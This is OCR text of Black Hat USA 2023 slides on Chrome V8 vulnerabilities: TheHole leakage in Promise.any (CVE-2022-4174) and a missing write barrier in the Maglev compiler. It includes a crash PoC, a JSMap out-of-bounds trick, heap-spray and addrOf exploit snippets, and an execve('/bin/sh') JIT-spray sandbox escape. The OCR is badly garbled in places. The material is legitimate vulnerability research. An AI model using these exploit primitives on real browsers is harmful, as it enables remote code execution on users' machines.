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About us

Nan Wang (@eternalsakura13)

« Security Research for 360 Vulnerability Research Institute
 Top 10 Chrome VRP Researcher of 2021/2022

 Top 2 Facebook White Hat of 2023

Zhenghang Xiao (@Kipreyyy)
 Individual Security Researcher

« Mainly focus on browser security
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About us

« 360 Vulnerability Research Institute
 Accumulated more than 3,000 CVEs

"% |
« Won the highest bug bounty in history from Microsoft, Google and Apple Sl
. S60m:RHARR
» Successful pwner of several Pwn20wn and Tianfu Cup events VULNERABE g nESSRA vl

e https://vul.360.net/
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Browser Process
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What is Chrome
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GPU Process

Renderer Process

------
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The Architecture of Chrome Browser
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What is V8

The Execution Flow
of

JavaScript V8 Engine

By @addyosmani
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TheHole Value Leakage in Promise.any
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« Chaining asynchronous operations

* Avoid callback hell

« Three states: pending/fulfilled/reject

pending

=S

Jm‘u‘l'ﬁit

reject

I

What is JS-Promise

async actions

settled /

then{onFulfillment)

then( ..., onRejection)

catchionRejection)

ﬂ\)
’/TEV

x

error handling

pending

[ Promise ] —_—

theni)
Lcatch()
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function getData() {
return new Promise (function(resolve) {
setTimeout (function() {
resolve ("Data);
}, ) s
})

How to use JS-Promise

function getData(callback) {
setTimeout (function () {

callback ("Data");
}, ) ;
function processData(data) {
return new Promise (function(resolve) {
setTimeout (function () {
resolve ("Processed " 4+ data);
}, ) s
});

function processData(data, callback) {
setTimeout (function () {
callback("Processed " + data);

}, ) ;

}
function displayResult (result) {
console.log(result) ;

}
function displayResult (result) {
console.log(result);

}
getData ()
.then (function(data) { // define callback
return processData(data) ;

})

.then (function (processedbata) {
displayResult (processedData) ;

}) s
callback hell Sync coding style

getData (function (data) {
processData (data, function(processedData) {
displayResult (processedData) ;

}) ;

});
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N—

Promise.a“y() [ Promise Object ] [ Promise Object ] [ Promise Object
 Similar as "OR Gate”

* Return the promise object which is first fulfilled

All rejected

Or a rejected promise object if all are rejected it F“I"ed promise.any()
« Useful for returning the first promise that fulfills
First Fulfilled Promise Rejected Promise
with AggregateError
4
AggregateError

Error Value in
every rejected promise

“
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TheHole Internal Value in V8

* A internal sentinel in V8 engine

 Represent “No Value Here”

—— i — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —— — — —————— — — — — — — — — ey

:d8> let arr = [1, /* TheHole */, 2];

<the hole>

|

|

| undefined |
:d8> $DebugPrint (arr) ; :
| DebugPrint: : [JSArray] |
- map: <Map[16] (HOLEY SMI ELEMENTS)> [FastProperties] :
- prototype: <JSArray[0]> |
- elements: <FixedArray[3]> [HOLEY SMI ELEMENTS (COW) ] |
- length: :
|

. |

- elements: <FixedArray[3]> { |
. |

|

|

|

|

|

|

I e o — — — — — — — — — — — — — — — ——— — — — — — — — — — ———— — — — — — — — — ————— — — — — — — — ———— — — — — — — — — — ———— —



blgc’:k hat

LSA 2023

var log = console.log;
function craft promise (GetCapExecutor) {
log("2. craft promise 1is called");
GetCapExecutor (
/* resolve */ function() ({},
/* reject */ function(aggregateError) {
log("5. final reject handler is called");
// leaking TheHole object
$DebugPrint (aggregateError.errors[1]);

1. Let errors be a new empty List.
Let remainingElementsCount be the Record { [[Value]]: 1}.

Let index be 0.

PerformPromiseAny

A W N

Repeat,
a. Let next be Completion(lteratorStep(iteratorRecord)).

b. If next is false, then

} )
I. Set remainingElementsCount.[[Value]] to remainingElementsCount.[[Value]] - 1. }
craft promise.resolve = function(val) {
log("3. craft promise.resolve is called");
iii.  Return resultCapability.[[Promise]]. return val;
: }
c. Let nextValue be Completion(lteratorValue(next)). let input promise = {
d. Append undefined to errors. then(finalResolve, onReject) {
log("4. input promise then");
e. Let nextPromise be ? Call(promiseResolve, constructor, « nextValue »). onReject () ;
f. Let onRejected be new created Promise.any Reject Element Functions. } }
g. Set onRejected {[[Index]]: index, [[Errors]]: errors, [[RemainingElements]]: remainingElementsCoupt, ...} log ("============ QUTPUT ============");

log("1l. before Promise.any");
Promise.any.call(craft promise, [input promise]);
i. Perform ? Invoke(nextPromise, "then", « resultCapability.[[Resolve]], onRejected »). Define callbacks -————7"7"F""H—H—"F—"F—"F"—"""—"¥—"¥—"¥—"—"¥—"—"¥—"—"—"—————

I
I
I
|
|
|
I
I
I
|
|
|
I
I
I
|
|
|
i.  If remainingElementsCount.[[Value]] = 0, then Return ThrowCompletion(AggregateError(errors)) |
I
I
|
|
|
I
I
I
|
|
|
I
I
I
|
h. Set remainingElementsCount.[[Value]] to remainingElementsCount.[[Value]] + 1. :
I

j. Setindex to index + 1.
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The First RCE - CVE-2022-4174

Let errors be a new empty List.
2. |Let remainingElementsCount be the |Record { [[Value]]: 1}. PerformPromiseAny 1. Let F be the active function object.
3. Let index be 0.
4

—

2. Let index be F.[[Index]],
. Repeat, 3. Let errors be F.[[Errors]].
a. Let next be Completion(lteratorStep(iteratorRecord)). 4. Let promiseCapability be F.[[Capability]].
b. If next is false, then 5. Let remainingElementsCount be F.[[RemainingElements]].
Set remainingElementsCount.[[Value]] to remainingElementsCount.[[Value]] - 1. 6. Set errors[index] to x.
ii. | If remainingElementsCount.[[Value]] = O, then Return ThrowCompletion(AggregateError(errors)) 7. |Set remainingElementsCount.[[Value]] to remainingElementsCount.[[Value]] - 1.
iii.  Return resultCapability.[[Promise]]. 8. |If remainingElementsCount.[[Value]] = 0, then
c. Let nextValue be Completion(lteratorValue(next)). Return ? Call(promiseCapability.[[Reject]], undefined, « AggregateError(errors)»).
d. Append undefined to errors. 9. Return undefined.

e. Let nextPromise be ? Call(promiseResolve, constructor, « nextValue »).
f. Let onRejected be new created Promise.any Reject Element Functions.

g. Set onRejected {[[Index]]: index, [[Errors]]: errors, [[RemainingElements]]: remainingFlementsCount, ...} Promise.any RejeCt Element FunCtion

h.|Set remainingElementsCount.[[Value]] to remainingflementsCount.[[Value]] + 1.

i. Perform ? Invoke(nextPromise, "then", « resultCapability.[[Resolve]], onRejected »).

j. Set index to index + 1.
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The First RCE - CVE-2022-4174

Let errors be a new empty List.

Let remainingElementsCount be the Record { [[Value]]: 1}. Pe I'fO rm PromiseAny
Let index be 0.
Repeat,
a. Let next be Completion(lteratorStep(iteratorRecord)).
b. If next is false, then
Set remainingElementsCount.[[Value]] to remainingElementsCount.[[Value]] - 1.
ii.  If remainingElementsCount.[[Value]] = 0, then Return ThrowCompletion(AggregateError(errors))
iii.  Return resultCapability.[[Promise]].
c. Let nextValue be Completion(lteratorValue(next)).

Append undefined to errors.

Let nextPromise be ? Call(promiseResolve, constructor, « nextValue »).
Let onRejected be new created Promise.any Reject Element Functions.

Set onRejected {[[Index]]: index, [[Errors]]: errors, [[RemainingElements]]: remainingElementsCount, ...}

h. Set remainingElementsCount.[[Value]] to remainingflementsCount.[[Value]] + 1.

Perform ? Invoke(nextPromise, "then", « resultCapability.[[Resolve]], onRejected »).

Set index to index + 1.

Let F be the active function object.

Let index be F.[[Index]],

Let errors be F.[[Errors]].

Let promiseCapability be F.[[Capability]].

Let remainingElementsCount be F.[[RemainingElements]].

Set errors[index] to x.

Set remainingElementsCount.[[Value]] to remainingElementsCount.[[Value]] - 1.

@ N o U A~ w N

If remainingElementsCount.[[Value]] = 0, then

Return ? Call(promiseCapability.[[Reject]], undefined, « AggregateError(errors)»).

Return undefined.

Promise.any Reject Element Function
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Root Cause Analysis - CVE-2022-4174

How V8 initialize errors array?

// h. Append undefined to errors. (Do nothing: errors 1is initialized

PEP‘FOPmPPomlSGAny // lazily when the first Promise rejects.)

// 9. Set errors[index] to x.

const newCapacity = IntPtrMax(SmiUntag(jremainingElementsCount]), index + 1);

if (newCapacity > errors.length_intptr) deferred {

. . errors = ExtractFixedArray(errors, 0, errors.length_intptr, newCapacity);
PromiseAnyReject «ContextSlot
ElementClosure context,

PromiseAnyRejectElementContextSlots::
kPromiseAnyRejectElementErrorsSlot) = errors;
}

errors.obiects[index| = value:
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From TheHole to Renderer RCE

Here are several known RCE vulnerabilities of TheHole value leakage
» CVE-2021-38003, CVE-2022-1364, CVE-2023-2724

Common result: the leakage of the non-exposed data structure to user space

How to exploit chrome with TheHole? => JS-Map structure!



O

black hat

LSA 2023

Special handling for TheHole in JS-Map

MapPrototypeDelete

1. Mark deleted entry to TheHole value

2. Update number _of elements & number _of deleted

3. Shrink the memory if needed

element
count

deleted
count

buckets elements
e e
[ Y )
bucket | buckets | buckets element remaining elements :
count [0] 11 T
./
~
ke value LEL
y idx

Internal Structure of JSMap storage
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How to exploit with JSMap

i i element | deleted | bucket | buckets | buckets ke value next | T
Construct a JSMap with size == -1 count | count | count | [0] | [1] / L R,
0 0 2 -1 -1 #undef | #undef | #undef :
elements|[0]
map.set(1, 1) _ b e
R n 1 0 2 0 -1 1 1 1| #undef | #undef | #undef :
| var map = new Map() ; | | 1
| let hole = triggerHole(); | map.set(hole, 1) slementsii]
| = R
| | 2 0 2 1 -1 1 1 1 |TheHole| 1 o E
| map.set ( ) ; !
I P ’ ’ | map.delete(hole) | A 1\ I
| map.set (hole, 1); : ________________________
: map .delete (hole) ; : 1 1 2 1 -1 1 1 -1 |TheHole|TheHole| 0 !
| e mmmmmmmmmmmmmmoo o
: map. delete (hOle) ’ : map.delete(hole), and shrink | A 1\ I
| map.delete(l) ; I
: : 0 0 2 0 -1 1 1 -1 #undef | #undef | #undef | '
. I
: console.log(map.size) // -1 : map.delete(1), and shrink again
e e e
-1 0 2 -1 -1 #undef | #undef | #undef | #undef | #undef | #undef I

N
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How to exploit with JSMap

- elements base address E elements[0]
- N
element | deleted | bucket | buckets  buckets next | . :
Before key value . remaining elements '
. count | count | count [0] [1] idx '
Override bucket cnt backwards it
calling ____________________E _____________________________________

map.set(a, b) :
element | deleted | newkey : . next | . |
After overwriteloverwrite| key value . remaining elements '
count count (a) idx e

. _

S -

-\ ; elements[-1] .

elements base address = buckets_base_addr + bucket_cnt * 4byte

occupancy = element_count + deleted _count

buckets base addressi buckets base addr + bucket cnt(a) * 4 + occupancy(0) * entrySize

Allow OOB writing with Map

element | deleted | bucket Ebuckets buckets elements
count | count [count(@)! [O] [1] length

---------------------------------------------------------------------------------------------------------------------------------

OrderedHashMap JSArray
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Write Barrier Missing in Maglev Optimization
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Overview of Maglev

Maglev: Mid-tier optimizing compiler " JavaSeript | »
ose 1 Jontton
Goals
« Faster compilation, fast optimization S 2 """ Some optimization
. . Bytecode | Low overhead

« efficient code for straightforward JS e B, e \
;'No optimization | i Ultra optimization
' Little overhead i :\ High overhead |
e S \ 4 TTTIEenTTTIII

Pe rfo rmance. SparkPlug Maglev TurboFan

« Targeting 5-10x slower than Sparkplug, thoughtful inlining Compiler Compiler Compiler

T T S S

_______________________

Strike a balance between compilation speed and code efficiency
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Garbage Collection and Generation layout

V8 Heap is split into different regions called generations garbage collection
* Young generation

« QOld generation

Young Generation Old Generation

>
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Garbage Collection and Write Barrier

Write barrier: a fragment of code before every store operation to ensure generational invariants are maintained.

E.g. A code snippet that adds old generation objects to the remembered set when setting a old => young pointer.

Remembered Sets Remembered Sets
\ \
i ® °
B B
A A A'

Young Generation Old Generation Young Generation Old Generation



O

black hat

LSA 2023

_ Another RCE - Issue 1423610

Ly Flags: --maglev --allow-natives-syntax --expose-gcC

: Graph
| function f(a) { | , . . h )
. . . . : Constant <HeapNumber > - (x
: // Phlluntagglng will untag this to a Floaté64 : . RootConstant (undefined valus) - (x)
| let phi = a ? : ; | : SmiConstant (0) - (x)
| // Causing a CheckedSmiUntag to be inserted | Block bl
| phi |= 0; I .
: InitialvValue(a0) - (x)
| // The graph builder will insert a StoreTaggedFieldNoWriteBarrier : o PrbraTtaete :
: // because 'phi’ is a Smi. Afterphi untagging, this should become a | : Jump b2
| // StoreTaggedFieldWithWriteBarrier, because ‘phi’ is now a float. I Hﬁ " bo
. oc
: a.c = phl; : —38: BranchIfToBooleanTrue [nZ2:(x)] b3 b4
} 1
L Block b3
Code snippet of POC N —11: Jump bS
Ignlthn with gap moves:
- n9:(x) - T (%)
r—-H————-——-- - ———_—————————— —————————————— »Block b4
| Ldar a0 : .-
| JumpIfToBooleanFalse [5] ( @ 07) | MagIeV : Jump bS
| | with gap moves:
| LdaZero I | - nl3:(x) - T (%)
| Jump [4] ( @ 9) ! v
| LdaConstant [0] ' “»Block b5
| | : T (n9, nl3) (compressed) - (x)
| Star0 I ICheckedSmiUntagI [n15:(x)] — (%)
I : |Bj;twjgse()r5ntq [01, [O] | : CheckMaps ( <Map[16] (HOLEY ELEMENTS)>) [n2:(x)]
| Star0 : : IStoreTaggedFieldNoWriteBarrierI( ) [n2:(x), nl5:(x)1]
: : Ldar rO I ): Return [n5: (x)]
| :|SetNamedPropertv aOL [11, [11] I
I LdaUndefined | . .
| Return | Maglev Graph after Graph Building
I

Bytecode
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Phi untagging in Maglev

A” Phl nOdeS are tagged after graph bU||d|ng Opertaion that output Opertaion that output Opertaion that output Opertaion that output
L UntaggedValue UntaggedValue UntaggedValue UntaggedValue
» In some cases, V8 have code to tag their inputs, | | - N
and untag their output, which is wasteful Untaggid Value Untaggid Value
] ] Tag Operation Tag Operation
[ Tag Operation ] [ Tag Operation ]
. . . . T | d | i Untagged Value Untagged Value
Phi untagging: remove the tagging of some Phis e ,[ Tagged Phi ]«T\a/gﬁfed | J Untagged Phi L
based on their inputs. | )
. . . ) Tagged Value Tagged Value Un\;:;czge ed
> If all of the inputs of a Phi are tagging operations, ! Ly v
] ) g nTagged _ i
then I\/!aglev will get rid of thos.e tagging | [Untag Operation] - Vale Untag Operation [ Tag Operation ]
operations and change the Phi representation to | : Tacen Val
UnTagged Value v agged Vaiue
be untagged. v v §
, . : Opertaion that needs Opertaion that needs
Opertaion that needs Opertaion that needs UntaggedValue } [ TaggedValue ]
UntaggedValue TaggedValue L

Before Phi Untagging After Phi Untagging
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Phi untagging in Maglev - Issue 1423610

>} - (%)

[nZ2:(x)]

After graph buiding
Graph
Constant ( { <HeapNumber
RootConstant(undefined_value) - (x)
SmiConstant (0) - (x)
Block bl
: InitialValue(al) - (x)
: Jump b2
!
Block b2
—>8: BranchIfToBooleanTrue [nZ:(x)] b3 b4
!
Block b3
—11: Jump b5
with gap moves:
- n9:(x) - :oeT (%)
“»Block b4
Jump b5
| with gap moves:
| - n13:(x) - 0T (%)
v
“»Block b5
:eT (n9, nl3) (compressed) — (x)
CheckedSmiUntag [nl5:(x)] - (x)
CheckMaps ( <Map[1¢] (HOLEY ELEMENTS)>)
StoreTaggedFieldNoWriteBarrier ( ) [n2:(x), nl5:(x)]
Return [nb5:(x)]

Process Phi
Inputs

After Phl untagging
Graph

: Constant ( {

: RootConstant(undefined_value) - (%)

: SmiConstant (0) — (x)

: Float64Constant (0) — (x)

: FloatedConstant ( ) = (%)
Block bl

<HeapNumber

: Initialvalue(a0) - (x)

: Jump b2
1
Block b2
—8: BranchIfToBooleanTrue [nZ2:(x)] b3 b4

l
Block b3

—11: Jump b5
with gap moves:
- n2l:(x) - et (x)

‘»Block b4

: Jump bb
with gap moves:
- n22:(x) - :opf (%)

|
|
v
“#»Block b5

:of (n2l1, n22) - (x)

: Floaté4dBox [nl5:(x)] - (x)

: CheckedTruncateFloat64ToInt32 [nlb:(x)] - (x)

: CheckMaps ( <Map[1©] (HOLEY ELEMENTS) >)

: StoreTaggedFieldNoWriteBarrier ( ) [n2:(x), n23:(x)]

.; Return [n5:(x)]

>} - (%)

[n2:(x)]
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Phi untagging in Maglev - Issue 1423610

>} - (%)

[nZ2:(x)]

After graph buiding
Graph
Constant ( { <HeapNumber
RootConstant(undefined_value) - (x)
SmiConstant (0) - (x)
Block bl
: InitialValue(al) - (x)
: Jump b2
!
Block b2
—>8: BranchIfToBooleanTrue [nZ:(x)] b3 b4
!
Block b3
—11: Jump b5
with gap moves:
- n9%:(x) - :opT (%)
“»Block b4
Jump b5
| with gap moves:
| - nil3:(x) - 0T (x)
v
“»Block b5
: o7 (n9, nl3) (compressed) — (x)
CheckedSmiUntag [nl5:(x)] - (x)
CheckMaps ( <Map[ ](HOLEY_ELEMENTS)>)
StoreTaggedFieldNoWriteBarrier ( ) [n2:(x), nl5:(x)]
Return [nb5:(x)]

Process Phi
Outputs

After Phl untagging
Graph

: Constant ( {

: RootConstant(undefined_value) - (%)

: SmiConstant (0) - (x)

: Float64Constant (0) — (x)

: FloatedConstant ( ) = (%)
Block bl

<HeapNumber

: Initialvalue(a0) - (x)

: Jump b2
1
Block b2
—8: BranchIfToBooleanTrue [nZ2:(x)] b3 b4

l
Block b3

—11: Jump b5
with gap moves:
- n2l:(x) - et (x)

‘»Block b4

: Jump bb
with gap moves:
- n22:(x) - :opf (%)

|
|
v
“#»Block b5

:of (n2l1, n22) - (%)

: Floaté4dBox [nl5:(x)] - (x)

: |[CheckedTruncateFloat64ToInt32 [nlb:(x)] - (x)

: CheckMaps ( <Map[1©] (HOLEY ELEMENTS) >)

: StoreTaggedFieldNoWriteBarrier ( ) [n2:(x), n23:(x)]

.; Return [n5:(x)]

>} - (%)

[n2:(x)]
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Phi untagging in Maglev - Issue 1423610

After graph buiding
Graph
Constant ( { <HeapNumber >}) - (%)
RootConstant(undefined_value) - (x)
SmiConstant (0) - (x)
Block bl
: InitialValue(al) - (x)
: Jump b2
!
Block b2
—>8: BranchIfToBooleanTrue [nZ:(x)] b3 b4
!
Block b3
—11: Jump b5
with gap moves:
- n9%:(x) - :opT (%)

“»Block b4

: Jump bb
| with gap moves:
| - nl3:(x) - 0T (%)
v

“»Block b5

¢T (n9, nl3) (compressed) - (x)
CheckedSmiUntag [nl5:(x)] - (x)
CheckMaps ( <Mapl[

StoreTaggedFieldNoWriteBarrier ( ) [n2:(x), nl5:(x)]

Return [n5:(x)]

1 (HOLEY ELEMENTS)>) [n2:(x)]

Process Phi
Outputs

After Phl untagging
Graph

: Constant ( {

: RootConstant(undefined_value) - (%)
: SmiConstant (0) - (x)

: Float64Constant (0) — (x)

: FloatedConstant ( ) o (%)
Block bl

<HeapNumber

: Initialvalue(a0) - (x)

: Jump b2
1
Block b2
—8: BranchIfToBooleanTrue [nZ2:(x)] b3 b4
l
Block b3

—11: Jump b5

with gap moves:
- n2l:(x) - et (x)
‘—»Block b4
: Jump bb
| with gap moves:
| - n22:(x) - :opf (%)
v
“»Block b5

:pf (n2l, n22) - (x)7 §

: [Float64Box [nl5:(x)] - (x)
: CheckedTruncateFloat64ToInt32 [nlb:(x)] - (x)
: CheckMaps ( <Map [

: |StoreTaggedFieldNoWriteBarrier ( ) [n2:(x), n23:(x)]

; Return [n5:(x)]

] (HOLEY ELEMENTS)>) [n2:(x)]

>} - (%)
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Root Cause Analysis - Issue 1423610

Store a Float64Box object without write barrier,

=> Dangling pointer occurs.

After Phl untagging
Graph

: Constant ( { <Hea
: RootConstant(undefined_value) - (%)
: SmiConstant(0) - (x)
: FloatedConstant (0) — (x)
: Floaté4Constant ( ) - (%)
Block bl

: Initialvalue(a0) - (x)

: Jump b2
1
Block b2
—8: BranchIfToBooleanTrue [nZ2:(x)] b3 b4
l
Block b3

—11: Jump b5

with gap moves:
- n2l:(x) - et (x)
‘—»Block b4
: Jump bb
| with gap moves:
| - n22:(x) - :opf (%)
v
“»Block b5

:of (n2l1, n22) - (x)
:IFloat64Box [n15:(x)] — (x)l
: CheckedTruncateFloat64ToInt32 [nlb:(x)] - (x)

: CheckMaps ( <Map[1©6] (HOLEY ELEMENTS)>) [nZ:(x)]
:IStoreTaggedFieldNoWriteBarrierk ) [n2:(x), |In23: (x)]

pNumber >}) - (x0)

.; Return [n5:(x)]
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Root Cause Analysis - Issue 1423610

Finally trigger UAF crash.

v8 ——maglev --allow-natives-syntax —-—expose-gc /tmp/poc.js

// Flags: —--maglev --allow-natives-syntax —--expose-gcC : \
Received signal 11 SEGV_ACCERR 067abeadbef6

function f(a) {

// Phi untagging will untag this to a Floato64 ==== C stack trace

%OptimizeMaglevOnNextCall (f) ;

// This call to ‘f° will store a young object into that ‘¢’ field of ‘obj’
// This should be done with a write barrier.

f (obj) ;

// If the write barrier was dropped, the GC will complain because

// it will see an old->new pointer without remembered set entry.

gc();

[1] 289612 segmentation fault ./out/x64.debug/d8 ——maglev —--allow-natives-syntax ——expose—-gc /tmp/poc.js

Crash!

console.log(obj.c); // crash!

| |
| I
| I
I let phi = a ? : ; |
| // Causing a CheckedSmiUntag to be inserted I [0x7f6ecbaliac6e]
| hi |= 0; | [0x7f6ecbaldadce]
| paL 1=t | [OxTf6ec5U42520]
| // The graph builder will insert a StoreTaggedFieldNoWriteBarrier | [0x5568336608uUe]
| // because ‘phi’ 1s a Smi. Afterphi untagging, this should become a | Emﬁ5&ﬁ3&m7fq
. . . . < N | 0x5568336607bb
I // SEore??ggedFleldWltherteBarrler, because "phi® is now a float. | [O0x55683366078F]
| a.c = phi; | [0x55683365a6e5]
|} | [Ox7f6ec8ed3280]
| | [0x7f6ec8ed3105]
: // Allocating an object and making it old (its ‘¢’ field should | Eg:giggzgifzjgi%
| // be neither a Smi nor a Double, so that the graph builder | [Ox7f6ec9ciifscl]
| // inserts a StoreTaggedFieldxxx rather than a StoreDoubleField : [0x7f6ec8eb09uT]
| // or CheckedStoreSmiField) . | [0x7f6ec8e6alug]
| . o [0x55683363a0b9]
| 18t obj = {e:"a"}; | [0x55683363a283]
| 9¢(); | [0x76ec900d2a0]
| gc(); I [0x7F6ec90096ea]
| $PrepareFunctionForOptimization (£f) ; I [0x7f6ec9009U13]
| £(ob3) ; | [0x7f6ec87ebu3d]
| obJj) | [end of stack tracel
I
|
| I
|
| |
| |
| I
| I
| I
| l
| |
|
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From Write Barrier Missing to Renderer RCE

Here are several known RCE vulnerabilities of the write barrier
missing
» Chrome-lssue-791245, CVE-2022-1310, CVE-2022-4906

Common result: craft a pointer that
« Points to the memory space of the new generation

* Not being recorded in the remembered set.

How to exploit? => Heap Spray!
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I// 1. Allocate an object and move it to the memory of old generation.

:Iet obj={c:"a" };

jvar fake_object_array;

Ihelper.mark sweep_gc();

Thelper.mark_sweep gc();

I%PrepareFunctionForOptimization(f);

\f(obj);

1 %0ptimizeMaglevOnNextCall(f);

1// 2. Due to the vulnerability, a call to f stores a new object into the c field of obj, making the pointer from obj to that new object missing a write barrier.

' f(obj);

:// 3. After garbage collection, the pointer becomes dangling.

jhelper.scavenge_gc();

1helper.mark _sweep_gc();

:// 4. Carefully crafting a fake JSArray object in the victim memory.
/*

low -> hight

:OOOOOOOO 00000000 | 00000000 00000000 | 0000 0018e979[double-array-map] | 00000219[properties] 00042149[element] | 00060000[length 0x30000] 00060000[useless]
*/

:fake_object_array =[0.0, 0.0, 3.4644403541910054e-308, 5.743499907618807e-309, 8.34402697134475e-309];

1fake_array = obj.c; // length 196608

Iconsole.log("[+] fake_array.length: ", fake_array.length);

Code snippet of exploit
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« Trigger Minor GC in V8

Move objects in Young Generation away

Result in victim pointers being left dangling
* Trigger the Major GC in V8

Reclaim unused memory

Compress the layout of objects in memory
« Allocate new Array in New Space

Occupy the indicated dangling memory

Create a fake-JSArray in victim memory

Use --trace-gc --trace-gc-heap-layout to adjust your
heap layout !

Now we can use the fake-JSArray to achieve
arbitrary address read and write primitives.

DebugPrint: 0x3e830019d9f5: [JS_OBJECT_TYPE] in OldSpace
- map: 0x3e830019b3c9 <Map[16](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x3e8300184a3a9 <Object map = 0x3e83001840e5>
- elements: 0x3e8300000219 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x3e8300000219 <FixedArray[0]>
- All own properties (excluding elements): {
0x3e8300002a9d: [String] in ReadOnlySpace: #c: 0x3e8300042165 <HeapNumber 0.0>

}

[3853384:0x55f82cb161f0] GC
[3853384:0x55f82cb161f0] :
DebugPrint: 0x3e830019d9f5: [JS_OBJECT _TYPE] in OldSpace
- map: 0x3e830019b3c9 <Map[16](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x3e8300184aa9 <Object map = 0x3e83001840e5>
- elements: 0x3e8300000219 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x3e8300000219 <FixedArray[0]>
- All own properties (excluding elements): {
0x3e8300002a9d: [String] in ReadOnlySpace: #c: 0x3e8300042165 <JSArray[196608]

}

DebugPrint: 0x3e8300042179: [JSArray]

- map: 0x3e830018e979 <Map[16](PACKED DOUBLE_ELEMENTS)> [FastProperties]

- prototype: 0x3e830018e399 <JSArray[0]>

- elements: 0x3e8300042149 <FixedDoubleArray[5]> [P4CKED_DOUBLE_ELEMENTS]

- length: 5

- properties: 0x3e8300000219 <FixedArray[0]>

- All own properties (excluding elements): {

0x3e8300000e19: [String] in ReadOnlySpac:: #length: 0x3e830014428d <AccessorInfi

scriptor

}
- elements: 0x3e8300042149 <FixedDoub'eArray[5]> {

~ 4 . ~n

2: 3.46444e-308
3: 5.7435e-309
4: 8.34403e-309
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AddrOf Primitive in exploit

Obijects in the large object space of V8 remain in a static location

-
var addrOf LO = new Array( ) ;

function addrOf (object) {
// Mondify the element address in fake object array,
// and set it to reference addrOf LO.
fake object array[3] = helper.i64tof64 ( ) ;
// Store specific object address into addrOf LO
addrOf LO[0O] = object;
// We can retrieve the object address that is stored in addrOf LO
// through fake object array.
return helper.ftoil (fake array[0]);

Code snippet of exploit

Addr: 0x1c214900000219 —>» Target Object
Victim Pointer
V8 Pointer
Large Arra}? Object
Array Map| Property | Element | Length

~
Sprayed Memory Region

AddrOf Process Diagram
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V8 Sandbox

V8 sandbox mechanism L ——

« Shared Pointer Compression Cage ArrayBuffer:

* Reserved Virtual Address Space

40-bit offsets from sandbox base

« Access external objects via an indexed
pointer table

V8 Heap Region (4GB)

HeapObiji
32-bit offset HeapObj4
(compressed pointer)

HeapObj2

HeapObij5

Now, how to escape from V8
sandbox? => JIT Spray!

Index External Pointer Table

a Type + Pointer

t ExternalObji

Structure of V8 Sandbox
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V8 Sandbox Escape

« Code objects contain an unsandboxed pointer OX11B2001A1646 . . .. ... ..

A

0x1f82002c2188

« Overwriting the pointer is an easy way to get .
RIP control

0xd2704400 L

code_entry_point

Code Ox1a164d 0x000055dd

ittt ittt ettt e I . . ]
' const foo = () => { ! Function Object Code Object
1 1
: return [ :
| ’ E Instructions (size = 384)
: 1 0x55ddd2704400 0 8b59d0 movl rbx,[rcx-0x30]
1 7 1
1 1
' ’ : 0x55ddd2704451 51 49ba6a3b58909090eb0c REX.W movq r10,0xceb909090583b6a
! ' 0x55ddd270445b 5b c4c1f96ec2 vmovg xmm0O,r10
! 4 X 0x55ddd2704460 60 c5fb114107 vmovsd [rex+0x7],xmmO
! , ! 0x55ddd2704465 65 49ba682f7368005bebOc REX.W movq r10,0xceb5b0068732f68
1 1 0x55ddd270446f 6f c4c1f96ec2 vmovqg xmmO,r10

1
| ’ 1 0x55ddd2704474 74 c5fb11410f vmovsd [rex+0xf],xmmO \
' ’ : 0x55ddd2704479 79 49ba682f62696e59eb0c REX.W movq r10,0xceb596e69622f68
' ' 0x55ddd2704483 83 c4c1f96ec2 vmovqg xmmO,r10
! X 0x55ddd2704488 88 c5fb114117 vmovsd [rex+0x17],xmmO
. ] . L
: } ’ ! JIT Code
1 1
1 1

The JS Code in need of JIT Compilation
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V8 Sandbox Escape

Modifying the code entry point of Code object to achieve JIT spray

0x1f82002c2188

Code

Ox1a164d

Function Object

0x1f82001a164c

0xd2704453 l
code_entry_point
0x000055dd Jﬁ
Code Object

0x55ddd2704453:
0x55ddd2704455:
0x55ddd2704456:
0x55ddd2704457:
0x55ddd2704458:
0x55ddd2704459:

0x55ddd2704467:
0x55ddd270446¢:
0x55ddd270446d:

0x55ddd270447b:
0x55ddd2704480:
0x55ddd2704481:

0x55ddd27044cb:
0x55ddd27044ce:
0x55ddd27044d1:

0x55ddd27044df:

push 0x3b
pop rax
nop

nop

nop

jmp  0x55ddd2704467

push 0x68732f
pop rbx
jmp  0x55ddd270447b

push 0x6e69622f
pop  rcx
jmp  0x55ddd270448f

XOr  rsi,rsi
xor rdx,rdx
jmp  0x55ddd27044df

syscall

JIT Code
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Conclusions

* Implementing new TC39 standards tends to present greater vulnerability challenges, as
the newly implemented code has not undergone sufficient review and testing stages.

* As a new, complex compilation mechanism, Maglev in V8 is prone to as many potential
security vulnerabilities as turbofan. There's probably a lot of security vulnerabilities that

could be hunted here.

« Understanding the GC and JIT mechanisms in V8 and being familiar with heap spraying
and JIT spray techniques are important for hunting the vulnerabilities and writing more

effective exploits.
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Thanks!

#BHUSA @BlackHatEvents
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